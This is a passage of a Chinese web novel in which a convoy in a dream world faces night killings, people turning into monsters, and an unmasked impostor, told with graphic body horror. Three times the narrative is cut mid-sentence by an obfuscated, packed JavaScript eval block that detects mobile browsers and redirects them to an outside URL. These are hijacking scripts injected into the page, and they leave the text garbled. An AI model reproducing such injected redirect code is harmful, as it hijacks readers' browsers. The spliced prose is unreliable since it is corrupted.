“我告诉你,可不是想让我自己的手腕淤青。”何雁慢慢抽回手,连钰顾忌着刚回帐篷的其他人,不想制造声音,就松了手。 “就像我和你们说的那样,梅花落内部很复杂,有些人和事需要在这趟旅途的一开始就解决。而有的人已经坐不住了。” “你的意思是,不是你干的?” “你还真是个小姑娘,”何雁坦然一笑,“你们年轻人是怎么定义做坏事的,我不知道。我只知道,这一趟会很不太平,我提供线索给你,是让你们加强防范,毕竟,你是最不容易被欺骗的。” 连钰站在原地看着何雁离开,她瘦削的背影在民族风的斗篷包裹下,显得她更形单影只。 根据何雁的话,连钰猜测她就算不是主使者,也不会对“小山”的意外死亡毫不知情,或许,是旁观并未提前阻止。这种局势,正是祂想要的吧。 连钰没有回帐篷,守在原先小山该守的火堆,盯着跃动直至熄灭的火苗看了一-夜。期间林虎在标准时间快到六点时回来,一身尘土。连钰扫了眼没有问,他也没有主动开口。 第二天,人们如常启程,车队顺着既定的路线行驶。没有人再提昨晚的慌乱和吵闹,更没人问尸体去哪了,一切都很安静,直到第二夜的到来。 绿日时代梦境里,本没有白昼黑夜的交替。说是夜晚到来,其实就是到点了,何雁命令车队停下驻扎,开始忙活晚饭。大概是车队庞大,实力较弱的怪物和被污染的动植物都有趋利避害的本能,暂时没有明面上侵扰他们。 今晚还是找了块较大的平地作为营地,四周一片狼烟动地,连钰一边学着扎帐篷,一边观察。实在不是她想多,今晚众人明显没有昨日的热情。昨天,连钰的小队来的时候看见的还是几人勾肩搭背,烤肉分享,今天就只剩下机械的工作,连交谈都很少,人人都在防着自己什么时候被无声无息地杀害。 今晚连钰和小荣负责昨晚小山兄弟俩的火堆。何雁宣布决定的时候,有人还想说话,被其他人扯了下,就没再说。 标准时间十点二十七分。连钰和荣倩倩正沉默守在火堆旁。今晚没有人端烤肉给她们,她们吃了自己带的压缩饼干,就着水咽下去。 昨晚端烤肉的小山不知道现在在哪里,是不是也遇害了。连钰有一搭没一搭地想着,觉得一团乱麻。 楚明锋不知从哪拖来一张小马扎,也凑在火堆旁。连钰望过去,发现这人竟然拿个苹果在削,削苹果技术相当好,皮都没断。 我们小队不是在被孤立吗,你哪来的新鲜水灵大苹果,又红又圆? 楚明锋对连钰嘿嘿一笑,说:“你要吗,分你一半。” 连钰表情复杂,楚明锋见状继续削,快削完的时候连钰伸手一拽。 楚明锋:? 连钰成功看到队长吃瘪,捏着长长的苹果皮,乐了。 楚明锋也没恼,微微一笑后三两下把苹果削好再对半切开,把另一半分给了小荣。小荣接过后开啃,卡擦卡擦,这苹果真脆啊楚明锋这才开吃,咬了一-大口给连钰看。连钰心想,幼稚鬼,我才不吃。 楚明锋吃完也不走,就坐在篝火旁陪着她们。连钰猜想,队长这么做大概是怕夜晚营地如果有内乱,大家在一起方便照顾。但是,江汾去哪了? 连钰把想法倒给楚明锋听。队长听后说:“江汾有别的任务。” 她想起江汾的小草,之前江汾就是使用木系异能给她治疗,虽然挺痛的,但效果很好。之前何雁看到江汾的小草有偷摸监视她的意思,有些不高兴。江汾的异能不止是治愈?或许小草类似活物,可以听从他的命令。 难道江汾是去监视谁了…… 连钰默然不语。楚明锋见她又在思考,叹一口气:“别想太多,今天晚上一定要打起精神。” 连钰点头。她知道,今晚肯定还会有血案。 …… 就在众人强打精神撑着眼皮守夜时,营地却一丝动静都没有。除了守夜人,其他人都乖觉地早早就回到自己帐篷,生怕在外面就落到和“小山”一个下场。虽然是做好准备的,但是人还是害怕死亡,更不想莫名其妙地送命。 西南角的帐篷里,络腮胡和一个手下还没睡着。两人都很清楚,这层帐篷只是个安慰,真要有什么人想杀他们,凭昨天的情形来看,说不定就杀人于无形了,躲帐篷也没用。 “老大,你说林山林虎两兄弟也没结仇啊,对谁都笑呵呵的,话也不多……”说话的是络腮胡的手下,长着对招风耳,耳垂很厚,经常被人夸有福气。这回,他希望自己是真有福气,就算跟着何老板找不到出路,也能平安躲过一劫。 他们这支队伍本来也是跑商的,在小城之间倒卖物资,因为老大侥幸和何老板搭上关系,日子才好过。否则像他们这种商队,在野外不够看的。 他自己好像是有异能觉醒,但也就是力气变大,老大好一点,除了力气大身手好,速度还比常人快很多。要说普通打架,那他俩在行。可遇上强一点的怪物,没点外挂装备,就算送菜。 还有很多怪物,遇上了只有有强异能的人才有希望逃脱,就跟那猎人小队的小白脸似的,听说能控风。人家这才叫异能,自己这种都不好意思说。 络腮胡瞅了他一眼,道:“这跟结仇没多大关系。他们是何老板的人,何老板原先在的地方太复杂,依我看……指不定是……”指不定是内斗。 说完,络腮胡砸吧砸吧嘴,觉着有些饿了。 可能是今晚吃太早了,现在这情绪一紧张就想吃东西。 “老大,我这还有牛肉干。”招风耳很会看眼色,及时从兜里掏出一根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281911|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牛肉干,外包装皱巴巴的,一看就藏老久了。 “嘿,这还是一个月前得的吧,留到现在不吃啊。”络腮胡一看乐了。这小子平时就是什么好东西都留着,跟舍不得吃似的。要他说,都这个年代了,什么好东西都赶紧吃了用了,谁知道还有没有下一天。 络腮胡拆开后,狠狠咬一口。牛肉干越干越有嚼头,这块干巴巴的,一点水分都没有,一撕扯后肉-丝冒着干香,牙齿间都是肉味。 这小子,总算自己没白对他好。 招风耳咽了咽口水,背过身去不看。其实他很爱吃,但是性格原因总是留着,最后都还是给老大吃了。不过,老大救过自己,孝敬老大也是应该的…… 他为了不想着吃,开始放飞思绪,一会儿想昨天的死人,一会儿想前段时间走商经过的地方喝的胡辣汤,想想又赶紧扯回思绪,思考要是真有办法找到对付怪物的法子会怎么样。 他想着想着,没注意到身后老大咀嚼的声音早就停了。帐篷里又恢复了寂静,寂静之中咽口水的声音就格外明显。 招风耳觉得自己也是太过分了,都把牛肉干给老大了,就不能老想着,吞口水声音还这么大。他摸了摸喉咙,发现自己没有不自觉地咽口水。 “饿,好饿啊。”老大嘟囔着。 招风耳摸了摸身上,发现什么都没了,干粮都在外面。他转过身想说要不自己去拿点食物,就发现老大一动不动地盯着自己。 “老大?” “我好饿。” “别急,咱们外头还有干粮。”招风耳内心不由得嘀咕,老大这也太馋了。 “咕咚。” 老大不说话了,就直勾勾地盯着他。小弟甚至看见了老大嘴角亮晶晶的口水。他这下觉得不对劲了。再怎么饿,老大也不可能这样……一副要吃了他的模样。 他手脚并用往后挪了两步,不敢把后背留给老大。谁料老大被激怒了,瞬间将他扑倒在地。 招风耳小弟大骇,嘴巴一张就要喊人。现在外面都是守夜的,他一喊就得救了! 谁知道他这一张嘴才是真正地让自己吓破了胆。老大的嘴巴大张到突破人类极限,喉咙里伸-出一条极细的舌头,钻进了他的喉咙。 “嗬……” 招风耳呛咳着要挣-扎,却感觉自己的五脏六腑一阵绞痛,整个腹腔都要扯破了一般。他大口大口吐-出鲜血,混合着搅碎了的肉块。 容不得他思考这是不是自己的内脏,老大的嘴巴长得更大,几乎占据了整张脸庞,络腮胡都看不见了。下一秒,巨大的血口咬住他的半张脸,他的鼻子,嘴巴,连同口腔里的舌头和不断涌出来的血沫被一同吞噬咀嚼。 痛到极致下,招风耳挣-扎都没了力气。有些被捕食的猎物在临死时都没法作出多余的动作。 篝火旁一个人耳朵动了动,嗤笑道:“谁大晚上还有心思吃零食呢。” 另一人瞪了他一眼,示意他注意力放在正事上,专心一点。 两人不再说话。 而帐篷里的招风耳眼神逐渐黯淡。在被黑暗吞没前,他望着正对着的帐篷顶,想着自己要是吃了那块牛肉干该多好。 26. 绿日时代(26)猜忌 标准时间八点整。营地里西南角一处帐篷里的人实在受不了了,从铺盖里跳起。 他身旁的人劝他:“算了算了,现在事儿正多着,别出去。” “不行,我受不了了。旁边人也太不讲究了,吃独食就吃呗,还吧唧嘴!” 那人见劝不了他,索性跟着他一起出去,省得同伴独自出去真出什么事了,两个人也好有个照应。 篝火旁的守夜人见两人掀了帐篷门就往旁边帐篷去,连忙喊住:“干什么呢?” “干什么,你们没听见吗,吵死了。” “是隐约听见了,那也没必要管啊。” “不行,我这人最受不了别人吧唧嘴,而且他声儿也太大了,跟贴着我耳朵似的。” 守夜人眉头拧起,也跟了过去。在他看来,这两人因为别人吃东西就要找麻烦,说不定有问题。守夜人自己也有猜测,他猜说不定是什么人能控制别人的精神,或者下了暗示,让他们自相残杀。 几人各有心思,一齐朝着不停发出动静的帐篷走去。 “老刘在不?有人觉得你们动静太大了……” 守夜人朝先停在帐篷门口,先喊几声。说不定里面人停了,旁边人也就不计较了。可是他喊了好几下,里面的咀嚼声都没停,而且听起来越来越奇怪……就像是野兽撕咬,甚至连骨头一起嚼碎了…… 守夜人吞了吞口水。不对劲。他右手按在腰间的枪上,准备好应对突发事件,旁边两人见状也觉着不对,后退了两步。 可守夜人没想到,里面的人没有走出来。 他深吸一口气,蹲下身缓缓拉开了拉链…… 楚明锋突然站起来,对队员打了个手势,两人见状迅速做好作战准备。 他示意两人一起去西南方。 “风里有声音。” 端坐在黑夜之下的何雁抬起眼眸,再一次望向天空,双手合十,眼角眉梢较往日凝重了些。 “这次会是谁呢?” 而守夜人屏住呼吸刚拉开了十几厘米的拉链,里面的东西就冲破了帐篷,以旁人反应不过来的速度狠狠咬下。 “啊——” 守夜人准备好开枪,但是对于这种怪物来说,枪显然是不足以抵御它的。 怪物冲出来时帐篷被顶翻,人们才看见原来帐篷地下的土壤已经染成了暗红色,土壤的缝隙贪-婪地吸食着鲜血,连同守夜人新鲜流出来的,一起吞噬。 旁边两人几乎吓傻了,其中一个哆哆嗦嗦拉着另一个就要跑,跪趴在地上的怪物猛地转头扑来,咬住了一个,又用两只放大数倍、长出尖锐黑铁般指甲的手掌轻轻一挠,另一个的喉咙就如豆腐般切开,失去了尖叫的能力。 附近的守夜人和帐篷里的人陆陆续续都出来了。大多数离得近的一眼就看出,怪物长出黑毛的脸庞,与被叫作老刘的络腮胡十分相似,但是眼珠浑浊,嘴巴里长出了几根不停扭动的细长舌头,身躯膨胀有两倍大,全身覆盖着如钢针一样的黑色毛发,手掌和脚掌也趋于兽化。 普普通通没有异能的人第一反应就是跑,但跑了的几个在怪物的扑咬之下不死也伤,剩余的人意识到怪物即便有了口粮也不肯放他们走,于是战战兢兢站在原地,没有人敢轻易出手激怒怪物。场面一度变得有些滑稽。这些人中不乏与怪物战斗过的,但见到同类变成怪物,都是头一回。 “异化后的怪物看来继承了原身的部分能力,至少老刘的速度和力气没有浪费。”楚明锋在100米处观察,得出结论。 “何老板怎么还没来?”连钰飞快扫视四周。她因为心中猜测,对何雁已经有所怀疑,现在看到她还没出现更是下意识防备。 “不管她了,她的手下也缺乏攻击性-能力。一起上吧。” 人群中早有人注意到连钰等人的到来,暗中对过眼神后,一群人立刻发动。 东西两侧各有人拔出武器进行火力压制,子弹率先击打道怪物,惹怒了它。就在怪物扑咬前一秒,楚明锋率先赶到,掌心聚起小型漩涡。 不是,队长你不会把手塞它嘴里吧? 连钰以超绝视力慢速观看队长抬手,顿感不妙,接着她发现了怪物口腔内蠕动的舌头,以及上面长出的细密牙齿。 “队长,塞他嘴里!” 楚明锋从善如流,漩涡里飞出无数风刃瞬间搅碎怪物多余的舌头,腥臭的血液四处飞溅。 怪物如同被它捕杀的猎物一般发出嗬嗬的抽气声,用喉咙迸发出怒吼。小荣趁他疼痛欺身而上,锐利的匕首狠狠刺怪物的双眼,废了它的视力,紧接着迅速扎向心脏处,拔-出来时血液又兜头浇了楚明锋一身。 周围人不参战的全都跑了,这帮人活到现在不仅是有点实力,还靠眼色。 连钰随时调整身位,在小荣拔出匕首后迅速瞄准心脏的口子,一击必中。 她装填的是江汾给的子弹,数量很少,据他说还在研发,没法量产。而且设计后爆炸的设定对于射击速度、温度、角度和距离有极高要求,射击时极有可能误伤自己和队友。 楚明锋和小荣退后好几步后,子弹飞速而至,怪物的肢体形成了小范围的爆炸,在原地自下而上喷洒出延续几秒的血雾。 唉,还好我是远程,这怪物肯定很臭。连钰收起武器,插回背包。这种高危险武器可不能乱用。 小荣已经走回她身边了,楚明锋还停在原地,低头不知道在干什么。 “队长?”只见楚明锋缓缓抬头,短短的发茬留不住鲜血,全顺着后脖颈流下,因为刚才低头的缘故,前额流的少一些,莫名添了几分战损感。 但是等楚明锋缓过神来走过来,连钰只剩下了浓浓的嫌弃。 楚明锋一伸手,连钰躲开,小荣也跟着侧跨一步。 楚明锋:? 连钰:“队长,你有点臭。” 异变后的人已经完全变成了怪物,血液里的某些成分变化,闻起来十分酸爽,更不用说那怪物死之前咬了很多人,帐篷里的同伴都几乎不剩下什么了,它嘴巴里挂着的都是血肉。 楚明锋嘴巴微张,顿时露-出可怜巴巴又无所适从的表情。 连钰:挺乖的,建议队长多做这种表情,但是还是不要靠近我。 “啪、啪。”几声响亮的巴掌声从身后传来,赶来的卢卡恰好看完了不到一分钟的战斗过程。 “真是精彩啊,不愧是猎人小队。” 连钰翻了个白眼,这人早不来帮忙,现在才出现。 “不过,真是奇怪呢,”卢卡笑眯眯地查看了地上的怪物尸体,又扫视卢卡周围被怪物咬死的人类,“为什么这么巧,变异的是昨天一直逼问你们的老刘?” 周围人本来还沉浸在劫后余生的喜悦和观看急速战斗后的震惊里,听到这话纷纷回过神。 “是啊,怎么又这么巧?” “你们那武器是特制的吧,咱们的普通枪支弹药几乎拿他没办法,就你开枪行。” “这帮人就是想着让我们只能依靠他们保护吧……” 连钰冷笑。怀疑他们是假,周围人字里行间透露的贪心是真。 “你们要是不怕炸了自己,尽管用。” 她掏出枪,作势要递给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306948|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嚷嚷得最大声的。那人犹犹豫豫,还是没接。 “哎哎,大家别误会,我可没说楚队策划了一切啊。我只是觉得这其中有什么蹊跷。”卢卡的话没让众人安静下来,只是变成小声议论。 卢卡看到连钰和荣倩倩瞪着自己,走过来要附耳讲话,被连钰躲了过去。 卢卡无奈,又走进一步,这下连钰看出他有话要说才没躲。 “我打赌,过不了多久,你就得杀了我。” 这人在说什么疯话。连钰抬头,卢卡看出她的不解,知道自己说话太谜语人了,又说道。 “我猜,我们都会变成怪物。你知道吗,老刘以前和我说过,他拥有的一切都是被赐予的,总有一天会被收回。你猜猜,是什么意思?” 连钰一凛。她当然知道是什么意思。 死去的老刘很可能接触过那位邪神一样的存在,那个高级怪物…… 是因为他的角色扮演得不讨祂喜欢吗? 或者,祂只是想看营地出乱子,不让他们一路太顺遂。 连钰前所未有地感受到了那位存在的任性。可以说出于同情吧,在她自己被戏耍时,她只是坚定了要逃出梦境世界的想法,但在亲眼观看到一场灾难的兴起和结束后,她更感到反胃、恶心和愤恨。 那么,卢卡的意思是,他猜到了有存在在背后操控一切。 “我知道,你不用说了。” 卢卡面带笑意地看着连钰走向同伴,黑暗里看不清他的眼神。 这次危机后,有些人打起了退堂鼓,第三天的连钰就注意到车队少了一半人。何雁被问起时只说“该走的人留不住。有些人注定要走,就像有的人注定要死”。 剩下的人大多是意志坚定或者无路可去之人,听后也没多说什么。 而昨晚的营地驻扎点里,有的人还在收拾东西。 “磨蹭什么,别人都出发了,我们赶紧走。” “催什么,现在又不跟那婆娘走了,着什么急。” “本来就搞不清楚老大干嘛跟着那女人来,过家家似的。现在老大也死了,唉。” “还好,老大的东西都在,嘿嘿,咱们算是没白来。” 几人你一言我一语,仗着何雁的人都走了就肆无忌惮地聊起来,说着说着就往下三路去。 这时,森林里传来毫不掩饰的脚步声。几人也是经历过风雨的,基本的感知都在,一转头就看见一个白衣男子,拐杖点地,轻快地朝他们走来。 他一身合身的白色燕尾服,头上还戴着高帽,胸-前别着金色的胸针,白手套和胡桃木拐杖搭配,看起来讲究极了,就是看起来完全不像该出现在这个地方的打扮。更不用提,他的衣服干净得就像刚洗完熨好似的。 那人微微低着头,叫人看不清脸。 几人都打起精神,其中一个道:“你干什么的,就停在那别过来,小心吃枪子儿!” 白衣男子竟真的不动了,停在树林的边缘。 几个人胆子大了些,喊道:“你来干什么?” 白衣男子歪了歪头,似乎真的在思考这个问题。片刻后,他轻声说道:“来看看我的玩-偶自己变成了什么丑陋的模样?” 他说话太轻,几人没听清,嚷嚷着叫他离开。 然而,片刻后原地只剩下几人收拾好的物资,有几个活物进了另一边的森林,跟着车队离开的方向移动。 白衣男子拍拍手,尽管手套没有沾上灰尘。他眼眸里黑白色的游鱼活动了一下又恢复平静。 “没有神智的东西,不如让我看看你们的欲-望有多大。” 27. 绿日时代(27)精神暗示 连钰坐在车内,整理这几日的事件。她有种感觉,这趟旅程如果只是被动忍耐那位村在的考验,很可能他们最终会不知不觉地挂掉这场考试。 根据她在温室里的经验看,那位存在喜欢看人主动在生死边缘来回横跳,更会把所谓的考核通过的答案设置成想不到的地方。 连钰不确定,如果自己和队长他们没有主动探索其它楼层,进入幻境后又主动闭眼回归黑暗找到出口,再发现所谓的隐藏门只是障眼法……那他们可能没法真的取悦那位存在,得到祂的允许离开永昼城,踏上这段旅程。 况且……她认为,按照祂的脾性,能在这段旅程设置这么多自相残杀的戏码,说不定银河的尽头真的会是人类的希望? 连钰思考了一会儿,说道:“队长,我想和何老板谈一谈。” 楚明锋不意外,他想了想说:“我们几个一起去。” 这次车队在路上几乎没有停歇,怕晚一天到达就多增加人员伤亡。第三夜,连钰等人趁着何老板还没玩消失逮住了她。 何雁一脸无奈地和几人走到僻静处。 “说吧,什么事?如果是问我昨晚为什么没有插手,直接问你们队长就好了,我不是战斗系异能。” 换了件铁锈红色披肩的何雁更显得白皙,神态多了点从前没有的疲惫,好在红色衬人,映得她脸庞多了几分血色。 “我不是想问这个,我是想问,你之前说的小山没死,是有什么依据吗?” 何雁一愣,大概是没想到连钰过了一天旧事重提。也许在她看来这事没那么重要。 “纠结这个做什么?你我都清楚,有些事情不得不发生……” “正是因为我了解,我才要追问。”连钰很少打断别人说话,但她现在也不免有些着急。 “何雁,我猜你可能经历过很多事情,自认为对祂有所了解,当然你也确实比较了解,否则也不会有这趟旅程。可是,我可以保证,被动等待很可能让我们的计划在快要实现的时候破灭,这才是祂戏弄人心的方式。” 连钰连珠炮似的突突突,何雁微微有些惊讶,但是只是听着不说话。 “所以,我需要知道你如何确定小山没有死。他的存在,可能是祂故意为之。” 连钰猛地说了一-大堆后有些脸红,最后干巴巴来了句动员式总结,何雁听后一笑,没说别的,反而真的给了连钰想要的答案。 “我说过,我不是战斗系异能,不过我的异能也不赖哦~”何雁突然向前一步,右手抬起。连钰虽然下意识向后退,但想想何雁这个时候应当不会害她,就忍住了。 何雁的手温柔抚过连钰的左脸,冰凉的指尖划过细腻的肌肤,让连钰微微战栗。片刻后,她听见何雁略沙哑的声音在脑海响起。 “还记得吗,有时候你其实是想追根究底的,但是总是不知不觉就放我走。” 连钰视线移动,发现何雁没有张嘴。那么,她是在她的脑子里? 何雁观察到连钰傻傻的表情后扑哧一笑,这回才开口说话:“嘘,不要告诉别人,我可以精神暗示。” 太酷了姐! 连钰内心小人疯狂尖叫。为什么,为什么她的能力这么酷炫!难怪何雁是梅花落大老板(?)难怪她的手下都服服帖帖。 何雁看出她的激动,道:“是暗示,可不是控制,否则我岂不是无敌了?我能确定小山没死,是因为我感知到对他的暗示没有消除,但是他在哪儿,我没法给出确切的位置。” “我只知道,他还在队伍里。” 连钰揉了揉自己脸冷静后,道:“那你对他的暗示是?” 她眼神询问这个可以说吗,然后何雁点点头,回答道:“说起来很热血。我对他的暗示是,忠于人类。” 所以,何雁在小山诈死后才这么淡定?她觉得小山不会破坏全队利益? 连钰觉得何雁的想法很好,但是似乎有哪里不对劲。如果这么简单,那让何雁暗示全队,就算能力不够覆盖这么多人,暗示一部分就够用了。那位存在绝不会这么轻易就让他们逃过一劫。 “那个……”一道温柔的声音把对视的两人拽回来,江汾摊开手,一朵小草迎风招展,“我可能知道他是谁。” 营地中心,三个汉子聚在一起沉默守夜。 “林虎啊,要不你休息会儿,我们守着就行。” “不用了,我可以坚持。” 其他两人是侥幸逃过这两次血腥的幸存者,恰好熟人都没事,很是同情林虎。 但林虎坚持,他们也不多劝,其实他们说出话也有点后悔,多个人多份力量,说话的人都想着要不再找个人陪着了,还好林虎没答应。 “林虎,姐姐叫你。” 抱着一只揉得旧旧的小兔子玩-偶的莉莉悄无声息地走过来,把另外两人吓一跳,林虎可能是习惯了,没多大表示,点点头后放下手里东西就走了。 另外两人瞅着小女孩跟着走了,长舒一口气。 “那小姑娘走路没声儿啊?” “谁知道呢,可能……习惯了?”另一个人努努嘴,表示人家遭遇不好,也许是遭受虐待的时候习惯性降低自己存在感了。 另一边,林虎跟着莉莉走着走着,转身到了一处帐篷的阴影处时突然出手,可是眼前的女孩从他的视野里消失,他打了一团空气。 “出来吧。”他一击未中,没有恼怒,反而放下心一般。 连钰和何雁等人从暗处走出。 “你们是怎么发现我的?”林山没有改变形貌,还是林虎的样子,可众人已经能确定他伪装成自己兄弟。那么,死去的人……应该是林虎吧。 “林山,我以为你是为了计划才这么做……”何雁有些不解,她的确不能精神控制林山,但暗示没有失效,林山却危及他人性命。她起初以为,林山是想要牺牲小部分,可是现在看来不是。 “老板,我知道你很奇怪为什么我一个忠于人类的人,会制造混乱。”林山咧嘴一笑,一模一样的脸让连钰想起那个有些敏-感又很热情的林虎,心中不由一叹。 “你就没想过,是因为你先背叛,我才不得不这么做?” “你什么意思?”何雁眉头一拧。 “你每天三更半夜对夜空祈祷,不是在求神拜佛吧。你这么特殊的能力,明明就是靠……乞求那位才得到的!你才是想要出卖我们!” 何雁如芒在背,她知道此时此刻所有人都盯紧了自己的动作。的确,她身上有很多疑点,但她没有想到问题出在自己身上。 “起初,我考虑到你们都是别处投靠的,有几分防备,所以下了暗示。对于我来说,背叛我不重要,重要的是不能阻止这次旅程。” “我的确是像你所说的,被赐予了能力。” 何雁这话一出,连楚明锋都很惊讶,他知道何雁和他一样是被观察的对象,是那位存在选中的演员,但他没想过能力能够被赐予。 “其实这一切比你想的还要残忍。我们能不能实现计划,全要看那位的心情……但是,我的确是出于人类利益考虑。如果非要解释的话,你可以把我当作与虎谋皮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13339880|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人。” 林山轻蔑一笑。 “如果我真的是利用你们所有人,我为什么要对你下这样的暗示?”何雁见状,又解释一句。 “那是因为你装了太久,真把自己当作救世主。一边演着拯救所有人的戏码,一边暗地里期待着我们被你崇拜的那位存在玩弄。” 林山目眦欲裂。他不是有意杀死亲兄弟……那天晚上,林虎是真的要异变了。 “其实,是莉莉帮你掩盖的。荣倩倩看见的女孩是她。”何雁的话让林山愣住。 “我当初是真的以为你在声东击西。”因为要被迫演戏,因为不知道那位存在是不是安排了什么,何雁一直都非常被动,她以为他们必须被迫靠默契演好这出戏。 现在她意识到,那位存在的手段比她想的要高明多了。仅靠被动承受,远远不够。 连钰看着林山怔愣的模样,开口道:“你有没有想过,那位存在既然能赐予精神暗示的能力,那祂本身也能在一定程度上操纵人心吧……” 所以,也许你是因为被下了暗示才这么做,而不是出于理智和本心。 林山梗住,那张林虎的脸被憋得通红,让人不难想象他此时内心的挣-扎。 “不会……不可能……” 连钰想想,补充道:“林山,当初林虎的尸体似乎很正常,他的死因是什么?抱歉,我不是怀疑你,我只是觉得他看起来的确是被熟人所害。” “他、他异化了……” “可是他没有任何异化迹象。”楚明锋及时插嘴。他检查过,不得不说,林山隐瞒的易容能力很不错,他看不出是林虎死去,但是他确定没有异变。 林山努力冷静,但是仍然语无伦次:“不,我当时很清楚地看见……黑色的眼睛。哥哥长了多余的眼睛。后来眼睛消失了……我没找到……” 众人默然。林山当时不知道异化的人死后会不会保留异化特征,又被暗示何雁在操纵他们…… 一时之间,没人出声。他们看着林山变回自己的模样,缓缓蹲坐下。这个时候戳破他一直以来被营造的谎言,有些残忍,但不得不做。 “是我被利用了?”林山的声音闷闷的,头低着让人看不清表情。 连钰在内心叹息一声,心中的小人一个正满腔同情凝视伙伴,另一个已经在理智分析。 从头到尾,何雁都是猜到小山的行为但是没有阻止。可能何雁在这个梦境里的时间走得更久,扮演成为了被动技能,有时候看起来缺乏冲动和感性,但并没有剔除人类固有的盲目。 连钰想,如果真的要扮演,一定要让祂满意才对。很难说何雁的扮演正确与否,也许今时今日,正是祂想要的…… [留声机,绿日时代就是那位存在的梦境吧。] 所以一切都很荒诞。 大型城内和城外差距太大,就像是某个城内控制者幻想里的样子。明明人类可以进化出异能,却真的在背后存在的操纵下不能言明。也许有的人说出口过,但是被处理了。但有的人就能只靠异能者之间的默契交流,聚在一起探索禁地。一切安排得都太好,太恰到好处。 如果她没猜错,这次梦境,她的任务不会失败。就她目前的观察而言,这位梦主一边阻止众人抵达银河,一边又希望他们真的能反抗。 [是。]留声机这次没有嘲讽,只是言简意赅地回答。 连钰静静望着悲痛的同伴,嘴角却浮现一抹满意的微笑。 一片寂静中,楚明锋侧耳倾听风声后严肃道:“准备战斗,有怪物来了。” 28. 绿日时代(28)幸运儿 楚明锋扔下一颗炸雷的时候,卢卡正在篝火旁自斟自饮。条件有限,他没有调酒,只是一口接一口地闷,喝完半壶后,不舍地将酒收起。 在温暖的火光里,他捏着一颗骰子打量,旁边人看了没吱声。和卢卡的人都知道,他有颗骰子不离身,自称是幸运骰子。 但没人知道卢卡几乎是堂而皇之地将自己的秘密宣之于众——他的异能是靠骰子掷出的点数加幸运值,一点加得最少,六点加得最多。 看起来很鸡肋但是某些时刻的确能救命。 这个异能让他爱上赌博,常常濒死时极限逃脱。但卢卡有种预感,自己可能不会再比别人幸运了。 等到卢卡收起骰子,不用楚明锋这样的风系异能着提醒,他都能感知到有大型生物正在靠近。他迅速在衣兜里拧动骰子,悄咪-咪瞅了眼,是6。 篝火旁几人迅速抽出武器。经历过前几夜,留下来的人都不是孬种。 就在几人面对震响传来的方向眺望时,卢卡身后的树丛里传来一声虚弱的声音。 “请问,你看见我的眼睛了吗?” 连钰等人这边是逼近震响的第一线,众人早已脱离刚才的多愁善感,进入战斗状态,只有江汾因为算是后勤人员被强行命令去营地中心待着。 跌坐在地的林山爬了起来,和何雁说了什么后走开。何雁转向众人解释,他不放心朋友,去看看。其余人不再多问,屏息以待。 片刻后,三个体态各异的类人怪物缓缓出现。打头的那个最高,有一米九,像是被抻长的面条,薄如蝉翼;后面两个并排的,一个肚大如啤酒桶,走路歪歪扭扭,另一个四肢着地,头发披散看不清脸庞,但就它同伴歪曲的五官来看,这一只估计同样不能算作好看。 连钰仔细辨认,不确定地说:“应该是之前脱离队伍的人。” 看来半途而废不在祂的欣赏范围。 “莉莉能帮忙掩盖你们的踪迹,降低存在感,不介意的话,让她帮助你们。” 何雁的建议很合理。小荣和楚明锋在莉莉的跟随下向前走去,连钰则架起枪支伺机而动。 谁知道爬行怪像是感知到了什么,突然越过打头的瘦长条,四肢并用如蜘蛛一般飞速蹿来。小荣和楚明锋二人迅速分开,才没被它碰到。 爬行怪没有回头,直直朝着营地冲去。楚明锋等人这才放下心,看来不是莉莉的能力出错,单纯是怪物发动进攻。 小荣在队长推了一把的风速下,几乎是飞一般冲至爬行怪身后,一刀深深刺入后心。爬行怪吃痛嚎叫,黑色的血液喷洒了一地,腥臭得如发酵了好几天的下水道秽物。 另一边,楚明锋往前突进,凝聚出小型漩涡将瘦长条扯向旁边,紧接着炮弹一般冲到啤酒肚的面前,锋利的匕首从下往上划开怪物的肚皮,其中变异发黑腐烂的肚肠在倾洒垃圾的声音中掉落一地。仔细看去,还有极小的蜘蛛四处蹿行,但暴露在空气中后没多久就慢慢停止活动。 小荣和楚明锋二人干净利落撬出晶核,三只怪物在哀叫中瘫倒,溅起一阵尘土。这三只异变的怪物体型不大,但似乎质量很大,所以之前才能发出让楚明锋警惕的震响。 “这么简单?”连钰端着枪,觉得自己刚摆了pose,战斗就结束了。 不可能。一定哪里有问题。 捡起核晶的小荣和楚明锋带着莉莉走回营地,几人对视间,都看出了彼此的疑问。 连钰的太阳穴蹦蹦直跳。所有人都觉得今晚肯定没有这么简单。她需要思考。 假如我是那个存在……我会想看到什么? 这些人,对我而言有什么用处? 